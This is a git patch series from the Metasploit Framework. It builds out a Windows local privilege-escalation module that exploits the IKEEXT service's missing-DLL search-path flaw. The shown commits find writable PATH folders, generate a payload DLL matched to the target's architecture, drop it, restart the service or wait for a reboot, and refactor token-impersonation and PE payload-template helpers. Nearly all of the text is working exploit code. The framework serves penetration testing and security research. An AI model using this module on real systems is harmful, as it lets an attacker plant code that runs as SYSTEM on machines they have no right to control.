Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else - if service_info['Startup'] == 'Disabled' - print_error("Service is Disabled, so will be unable to exploit unless account has correct permissions...") + vprint_status(service_info) + + case service_info['Startup'] + when 'Disabled' + print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe + when 'Manual' + print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...") + return Exploit::CheckCode::Safe + when 'Auto' + print_good("Service is set to Automatically start...") end if check_search_path @@ -111,11 +120,11 @@ class Metasploit3 < Msf::Exploit::Local end def check_system_path - print_status("Checking SYSTEM PATH folders for write access...") + print_status("Checking %PATH% folders for write access...") result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? - print_error("Unable to retrieve SYSTEM PATH from registry.") + print_error("Unable to retrieve %PATH% from registry.") return end @@ -299,5 +308,4 @@ class Metasploit3 < Msf::Exploit::Local end end end - end From 861951f7fd33a0bcc2d6080bd0b066031cea0186 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 30 Dec 2012 14:58:39 +0000 Subject: [PATCH 12/31] Add exception handling around get_imperstoken --- .../exploits/windows/local/ipsec_keyring_service.rb | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 544eaa1e8d..5a94a9265e 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -213,7 +213,15 @@ class Metasploit3 < Msf::Exploit::Local end def exploit - @token = get_imperstoken() + begin + @token = get_imperstoken() + rescue ::Exception => e + # Failure due to timeout, access denied, etc. + vprint_error("Error #{e.message} while using get_imperstoken()") + vprint_error(e.backtrace) + return + end + @reboot = false if is_system? From df21836aa0a98f7883310408e176240a1c238765 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 3 Jan 2013 19:43:25 +0000 Subject: [PATCH 13/31] Use fail_with --- .../windows/local/ipsec_keyring_service.rb | 30 +++++++------------ 1 file changed, 11 insertions(+), 19 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 5a94a9265e..a4456cdfb3 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -216,10 +216,7 @@ class Metasploit3 < Msf::Exploit::Local begin @token = get_imperstoken() rescue ::Exception => e - # Failure due to timeout, access denied, etc. - vprint_error("Error #{e.message} while using get_imperstoken()") - vprint_error(e.backtrace) - return + fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()") end @reboot = false @@ -231,31 +228,28 @@ class Metasploit3 < Msf::Exploit::Local print_status("Checking service exists...") if !check_service_exists?(@service_name) - return + fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end if session_arch == ARCH_X64 - print_error("Exploit currently does not work with x64.") - #return + fail_with(Exploit::Failure::NoTarget, "Exploit currently does not work with x64.") end if is_uac_enabled? - print_error("UAC is enabled results, may get false negatives on writeable folders.") + print_warning("UAC is enabled results, may get false negatives on writeable folders.") end if datastore['DIR'].empty? # If DLL already exists in system folders, we dont want to overwrite by accident if check_search_path - print_error("DLL already exists in system folders.") - return + fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.") end file_path = check_system_path file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs if file_path.nil? - print_error("Unable to write to any folders in the PATH, aborting...") - return + fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...") end else # Use manually selected Dir @@ -273,8 +267,7 @@ class Metasploit3 < Msf::Exploit::Local # Still disabled if service_information['Startup'] == 'Disabled' - print_error("Unable to enable service, aborting...") - return + fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...") end end @@ -290,9 +283,8 @@ class Metasploit3 < Msf::Exploit::Local @write_success = true rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on - print_error(e.message) @write_success = false - return + fail_with(Exploit::Failure::Unknown, e.message) end # @@ -309,17 +301,17 @@ class Metasploit3 < Msf::Exploit::Local if service_start(@service_name) == 0 print_status("Service started...") else - print_error("Unable to start service.") + fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else - print_error("Unable to stop service.") + fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") end rescue ::Exception => e if service_information['Startup'] == 'Manual' - print_error("Unable to start service, and it does not auto start, cleaning up...") + fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else @reboot = true print_status("Unable to start service, manually create handler and wait for a reboot...") From 54e4557855d1b45702991101fe89092e05973d28 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 3 Jan 2013 20:07:41 +0000 Subject: [PATCH 14/31] Leave handler running for reboot --- .../windows/local/ipsec_keyring_service.rb | 26 ++++++++++--------- 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index a4456cdfb3..e551445ee2 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -198,14 +198,12 @@ class Metasploit3 < Msf::Exploit::Local end def cleanup - unless @reboot - if @write_success && @dll_file_path - begin - file_rm(@dll_file_path) - vprint_status("Deleted file #{@dll_file_path}") - rescue ::Exception => e - print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails - end + if @write_success && @dll_file_path + begin + file_rm(@dll_file_path) + vprint_status("Deleted file #{@dll_file_path}") + rescue ::Exception => e + print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails end end @@ -219,8 +217,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()") end - @reboot = false - if is_system? print_error("Current user is already SYSTEM, aborting.") return @@ -313,8 +309,14 @@ class Metasploit3 < Msf::Exploit::Local if service_information['Startup'] == 'Manual' fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else - @reboot = true - print_status("Unable to start service, manually create handler and wait for a reboot...") + if job_id + print_status("Unable to start service, handler running waiting for a reboot...") + while(true) + select(nil,nil,nil,1) + end + else + print_status("Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + end end end end From fde267bea44725ebd67e289addb5882ef1160247 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Thu, 3 Jan 2013 20:21:05 +0000 Subject: [PATCH 15/31] Break on session --- modules/exploits/windows/local/ipsec_keyring_service.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index e551445ee2..0cb97e1d70 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -312,6 +312,7 @@ class Metasploit3 < Msf::Exploit::Local if job_id print_status("Unable to start service, handler running waiting for a reboot...") while(true) + break if session_created? select(nil,nil,nil,1) end else From 1bc5fd3758e7fc70bdef1ca2ae873b91b89ccb12 Mon Sep 17 00:00:00 2001 From: Meatballs1 Date: Sun, 20 Jan 2013 00:29:38 +0000 Subject: [PATCH 16/31] Changed to warnings --- modules/exploits/windows/local/ipsec_keyring_service.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 0cb97e1d70..13f68c5e67 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -74,12 +74,12 @@ class Metasploit3 < Msf::Exploit::Local service_info = service_info(service) if service_info.nil? - print_error("Unable to enumerate services.") + print_warning("Unable to enumerate services.") return false end if service_info && service_info['Name'].empty? - print_error("Service #{service} does not exist.") + print_warning("Service #{service} does not exist.") return false else return true @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Local dll_path = "#{expand_path(path)}\\#{dll}" if file_exist?(dll_path) - print_error("DLL already exists at #{dll_path}...") + print_warning("DLL already exists at #{dll_path}...") return true end end From 174ab31010c3e8eff18627696572afb3c186203c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 31 Jan 2013 12:59:55 +0100 Subject: [PATCH 17/31] Moving reused methods to Accounts mixin --- lib/msf/core/post/windows/accounts.rb | 55 +++++++++++++++++ .../windows/local/ipsec_keyring_service.rb | 47 +-------------- modules/post/windows/gather/enum_dirperms.rb | 60 +------------------ 3 files changed, 57 insertions(+), 105 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index d035156721..488994bae8 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -177,6 +177,61 @@ module Accounts :integrity_label ][enum_value - 1] end + + # Gets an impersonation token from the primary token. + # + # @return [Fixnum] the impersonate token handle identifier if success, 0 if + # fails + def get_imperstoken + adv = session.railgun.advapi32 + tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " + tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" + tok_all << " | TOKEN_ADJUST_DEFAULT" + + pid = session.sys.process.open.pid + pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token + it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token + if it["return"] #if it fails return 0 for error handling + return it["DuplicateTokenHandle"] + else + return 0 + end + end + + # Gets the permissions granted from the Security Descriptor of a directory + # to an access token. + # + # @param [String] dir the directory path + # @param [Fixnum] token the access token + # @return [String, nil] a String describing the permissions or nil + def check_dir(dir, token) + adv = session.railgun.advapi32 + si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" + result = "" + + #define generic mapping structure + gen_map = [0,0,0,0] + gen_map = gen_map.pack("L") + + #get Security Descriptor for the directory + f = adv.GetFileSecurityA(dir, si, 20, 20, 4) + f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) + sd = f["pSecurityDescriptor"] + + #check for write access, called once to get buffer size + a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) + len = a["PrivilegeSetLength"] + + r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) + if !r["return"] then return nil end + if r["GrantedAccess"] > 0 then result << "R" end + + w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) + if !w["return"] then return nil end + if w["GrantedAccess"] > 0 then result << "W" end + end + end # Accounts end # Windows end # Post diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 13f68c5e67..fc69311d4e 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -17,6 +17,7 @@ class Metasploit3 < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services + include Msf::Post::Windows::Accounts def initialize(info={}) super( update_info( info, @@ -322,51 +323,5 @@ class Metasploit3 < Msf::Exploit::Local end end - # Below copied from enum_dirperms - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end end diff --git a/modules/post/windows/gather/enum_dirperms.rb b/modules/post/windows/gather/enum_dirperms.rb index a3e1635e96..67a2b80ad0 100644 --- a/modules/post/windows/gather/enum_dirperms.rb +++ b/modules/post/windows/gather/enum_dirperms.rb @@ -1,7 +1,3 @@ -## -# $Id$ -## - ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit @@ -15,6 +11,7 @@ require 'msf/core/post/common' class Metasploit3 < Msf::Post include Msf::Post::Common + include Msf::Post::Windows::Accounts def initialize(info={}) super(update_info(info, @@ -26,7 +23,6 @@ class Metasploit3 < Msf::Post %PATH% variable. }, 'License' => MSF_LICENSE, - 'Version' => '$Revision$', 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => @@ -45,60 +41,6 @@ class Metasploit3 < Msf::Post ], self.class) end - def get_imperstoken - adv = session.railgun.advapi32 - tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | " - tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS" - tok_all << " | TOKEN_ADJUST_DEFAULT" - - #get impersonation token handle it["DuplicateTokenhandle"] carries this value - #p = kern.GetCurrentProcess() #get handle to current process - pid = session.sys.process.open.pid - pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS) - pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token - it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token - if it["return"] #if it fails return 0 for error handling - return it["DuplicateTokenHandle"] - else - return 0 - end - end - - def check_dir(dir, token) - # If path doesn't exist, do not continue - begin - session.fs.dir.entries(dir) - rescue => e - vprint_error("#{e.message}: #{dir}") - return nil - end - - adv = session.railgun.advapi32 - si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" - result = "" - - #define generic mapping structure - gen_map = [0,0,0,0] - gen_map = gen_map.pack("L") - - #get Security Descriptor for the directory - f = adv.GetFileSecurityA(dir, si, 20, 20, 4) - f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4) - sd = f["pSecurityDescriptor"] - - #check for write access, called once to get buffer size - a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8) - len = a["PrivilegeSetLength"] - - r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8) - if !r["return"] then return nil end - if r["GrantedAccess"] > 0 then result << "R" end - - w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8) - if !w["return"] then return nil end - if w["GrantedAccess"] > 0 then result << "W" end - end - def enum_subdirs(perm_filter, dpath, maxdepth, token) filter = datastore['FILTER'] filter = nil if datastore['FILTER'] == 'NA' From 769ca6335f8eeb03d73da06dcdc2224599ffb6ee Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 22 Feb 2013 20:09:21 +0000 Subject: [PATCH 18/31] Mrg Juan's changes, stop shadowing --- .../exploits/windows/local/ipsec_keyring_service.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index fc69311d4e..239a6da030 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -72,14 +72,14 @@ class Metasploit3 < Msf::Exploit::Local end def check_service_exists?(service) - service_info = service_info(service) + srv_info = service_info(service) - if service_info.nil? + if srv_info.nil? print_warning("Unable to enumerate services.") return false end - if service_info && service_info['Name'].empty? + if srv_info && srv_info['Name'].empty? print_warning("Service #{service} does not exist.") return false else @@ -88,14 +88,14 @@ class Metasploit3 < Msf::Exploit::Local end def check - service_info = service_info('IKEEXT') + srv_info = service_info('IKEEXT') if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else vprint_status(service_info) - case service_info['Startup'] + case srv_info['Startup'] when 'Disabled' print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...") return Exploit::CheckCode::Safe From 07475e5483b68dd2e4fbdd0928c68d7429fa0e4b Mon Sep 17 00:00:00 2001 From: Meatballs Date: Fri, 22 Feb 2013 21:22:51 +0000 Subject: [PATCH 19/31] Update --- lib/msf/core/post/windows/accounts.rb | 2 +- modules/exploits/windows/local/ipsec_keyring_service.rb | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/post/windows/accounts.rb b/lib/msf/core/post/windows/accounts.rb index 488994bae8..63d3dbf770 100644 --- a/lib/msf/core/post/windows/accounts.rb +++ b/lib/msf/core/post/windows/accounts.rb @@ -205,7 +205,7 @@ module Accounts # @param [String] dir the directory path # @param [Fixnum] token the access token # @return [String, nil] a String describing the permissions or nil - def check_dir(dir, token) + def check_dir_perms(dir, token) adv = session.railgun.advapi32 si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION" result = "" diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 239a6da030..851f7107c6 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -93,7 +93,7 @@ class Metasploit3 < Msf::Exploit::Local if !check_service_exists?(@service_name) return Exploit::CheckCode::Safe else - vprint_status(service_info) + vprint_status(srv_info) case srv_info['Startup'] when 'Disabled' @@ -158,7 +158,7 @@ class Metasploit3 < Msf::Exploit::Local end def check_write_access(path) - perm = check_dir(path, @token) + perm = check_dir_perms(path, @token) if perm and perm.include?('W') print_good ("Write permissions in #{path} - #{perm}") return true @@ -213,9 +213,9 @@ class Metasploit3 < Msf::Exploit::Local def exploit begin - @token = get_imperstoken() + @token = get_imperstoken rescue ::Exception => e - fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken()") + fail_with(Exploit::Failure::Unknown, "Error while using get_imperstoken: #{e}") end if is_system? From 8bfaa417230aac25a061f7a6124594c8cb285977 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 27 Apr 2013 20:44:46 +0100 Subject: [PATCH 20/31] Fix x64 dll creation --- lib/msf/core/exploit/exe.rb | 5 +- lib/msf/util/exe.rb | 10 ++-- .../windows/local/ipsec_keyring_service.rb | 58 +++++++++---------- 3 files changed, 34 insertions(+), 39 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index e4d632d0ef..12b68a1460 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -73,7 +73,7 @@ module Exploit::EXE pl = opts[:code] pl ||= payload.encoded - if opts[:arch] and opts[:arch] == ARCH_X64 + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) @@ -91,8 +91,7 @@ module Exploit::EXE # NOTE: Only Windows is supported here. pl = opts[:code] pl ||= payload.encoded - - if opts[:arch] and opts[:arch] == ARCH_X64 + if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) else dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 5d6c0e509a..375a6c1a5f 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -414,7 +414,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") return pe end @@ -451,7 +451,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") if name bo = pe.index('SERVICENAME') @@ -480,7 +480,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") if name bo = pe.index('SERVICENAME') @@ -507,7 +507,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") # optional mutex mt = pe.index('MUTEX!!!') @@ -528,7 +528,7 @@ require 'digest/sha1' bo = pe.index('PAYLOAD:') raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - pe[bo, 8192] = [code].pack("a8192") + pe[bo, code.length] = [code].pack("a*") # optional mutex mt = pe.index('MUTEX!!!') diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 851f7107c6..912615d9f8 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -14,6 +14,7 @@ class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE + include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services @@ -21,26 +22,30 @@ class Metasploit3 < Msf::Exploit::Local def initialize(info={}) super( update_info( info, - 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', - 'Description' => %q{ + 'Name' => 'IKE and AuthIP IPsec Keyring Modules Missing DLL', + 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' service which runs as SYSTEM, and starts automatically in default installations of Vista-Win8. }, - 'References' => + 'References' => [ ['URL', 'https://www.htbridge.com/advisory/HTB23108'], ['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html'] ], 'DisclosureDate' => "Oct 9 2012", - 'License' => MSF_LICENSE, - 'Author' => + 'License' => MSF_LICENSE, + 'Author' => [ 'Ben Campbell ' ], - 'Platform' => [ 'win'], - 'Targets' => [ ['Windows', {}] ], - 'SessionTypes' => [ "meterpreter" ], + 'Arch' => [ ARCH_X86, ARCH_X86_64 ], + 'Platform' => [ 'win'], + 'Targets' => + [ + [ 'Windows', { } ], + ], + 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', @@ -131,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Local def check_system_path print_status("Checking %PATH% folders for write access...") - result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') + result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path') if result.nil? print_error("Unable to retrieve %PATH% from registry.") @@ -179,7 +184,7 @@ class Metasploit3 < Msf::Exploit::Local if exist?(path) return dir end - rescue Rex::Post::Meterpreter::RequestError => e + rescue Rex::Post::Meterpreter::RequestError => e vprint_status("Unable to create dir: #{dir} - #{e}") end end @@ -189,7 +194,7 @@ class Metasploit3 < Msf::Exploit::Local def session_arch if sysinfo["Architecture"] =~ /x64/i - return ARCH_X64 + return ARCH_X86_64 elsif sysinfo["Architecture"] =~ /x86/i return ARCH_X86 else @@ -198,20 +203,12 @@ class Metasploit3 < Msf::Exploit::Local end end - def cleanup - if @write_success && @dll_file_path - begin - file_rm(@dll_file_path) - vprint_status("Deleted file #{@dll_file_path}") - rescue ::Exception => e - print_error("Error deleting #{@dll_file_path} : #{e}") # Warn users if cleanup fails - end + def exploit + unless session_arch == payload_instance.arch.first + vprint_error("Session Arch: #{session_arch} Payload Arch: #{payload_instance.arch}") + fail_with(Exploit::Failure::BadConfig, "Wrong Architecture targetted") end - super - end - - def exploit begin @token = get_imperstoken rescue ::Exception => e @@ -228,10 +225,6 @@ class Metasploit3 < Msf::Exploit::Local fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.") end - if session_arch == ARCH_X64 - fail_with(Exploit::Failure::NoTarget, "Exploit currently does not work with x64.") - end - if is_uac_enabled? print_warning("UAC is enabled results, may get false negatives on writeable folders.") end @@ -269,7 +262,7 @@ class Metasploit3 < Msf::Exploit::Local end # Check architecture - dll = generate_payload_dll({:arch => session_arch}) + dll = generate_payload_dll({ :arch => session_arch }) # # Drop the malicious executable into the path @@ -277,10 +270,8 @@ class Metasploit3 < Msf::Exploit::Local print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...") begin write_file(@dll_file_path, dll) - @write_success = true rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on - @write_success = false fail_with(Exploit::Failure::Unknown, e.message) end @@ -298,16 +289,20 @@ class Metasploit3 < Msf::Exploit::Local if service_start(@service_name) == 0 print_status("Service started...") else + register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service.") end else + register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to stop service") end elsif status == 0 print_status("Service started...") + register_file_for_cleanup(@dll_file_path) end rescue ::Exception => e if service_information['Startup'] == 'Manual' + register_file_for_cleanup(@dll_file_path) fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...") else if job_id @@ -317,7 +312,8 @@ class Metasploit3 < Msf::Exploit::Local select(nil,nil,nil,1) end else - print_status("Unable to start service, use exploit -j to run as a background job and wait for a reboot...") + register_file_for_cleanup(@dll_file_path) + fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...") end end end From 05426cb61bbbf87a8f5d0f7484a98d5b43a777e4 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sat, 27 Apr 2013 21:39:29 +0100 Subject: [PATCH 21/31] Fix dir creation --- modules/exploits/windows/local/ipsec_keyring_service.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/local/ipsec_keyring_service.rb b/modules/exploits/windows/local/ipsec_keyring_service.rb index 912615d9f8..3635e079e7 100644 --- a/modules/exploits/windows/local/ipsec_keyring_service.rb +++ b/modules/exploits/windows/local/ipsec_keyring_service.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Exploit::Local 'Description' => %q{ This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules' service which runs as SYSTEM, and starts automatically in default - installations of Vista-Win8. + installations of Vista-Win8. Use reverse_http(s) for greater reliability + when attempting to reboot system. }, 'References' => [ @@ -47,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Local ], 'SessionTypes' => [ "meterpreter" ], 'DefaultOptions' => - { + { 'EXITFUNC' => 'thread', 'WfsDelay' => '5' }, @@ -181,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Local @non_existant_dirs.each do |dir| begin client.fs.dir.mkdir(dir) - if exist?(path) + if exist?(dir) return dir end rescue Rex::Post::Meterpreter::RequestError => e @@ -226,7 +227,7 @@ class Metasploit3 < Msf::Exploit::Local end if is_uac_enabled? - print_warning("UAC is enabled results, may get false negatives on writeable folders.") + print_warning("UAC is enabled, may get false negatives on writeable folders.") end if datastore['DIR'].empty? From 44cae75af1b721613529d9ec13ee3f1c600ef6d9 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Wed, 24 Jul 2013 19:52:59 +0100 Subject: [PATCH 22/31] Cleanup --- lib/msf/core/exploit/exe.rb | 8 +- lib/msf/util/exe.rb | 174 ++++++++++++++---- ...c_keyring_service.rb => ikeext_service.rb} | 45 +++-- 3 files changed, 164 insertions(+), 63 deletions(-) rename modules/exploits/windows/local/{ipsec_keyring_service.rb => ikeext_service.rb} (89%) diff --git 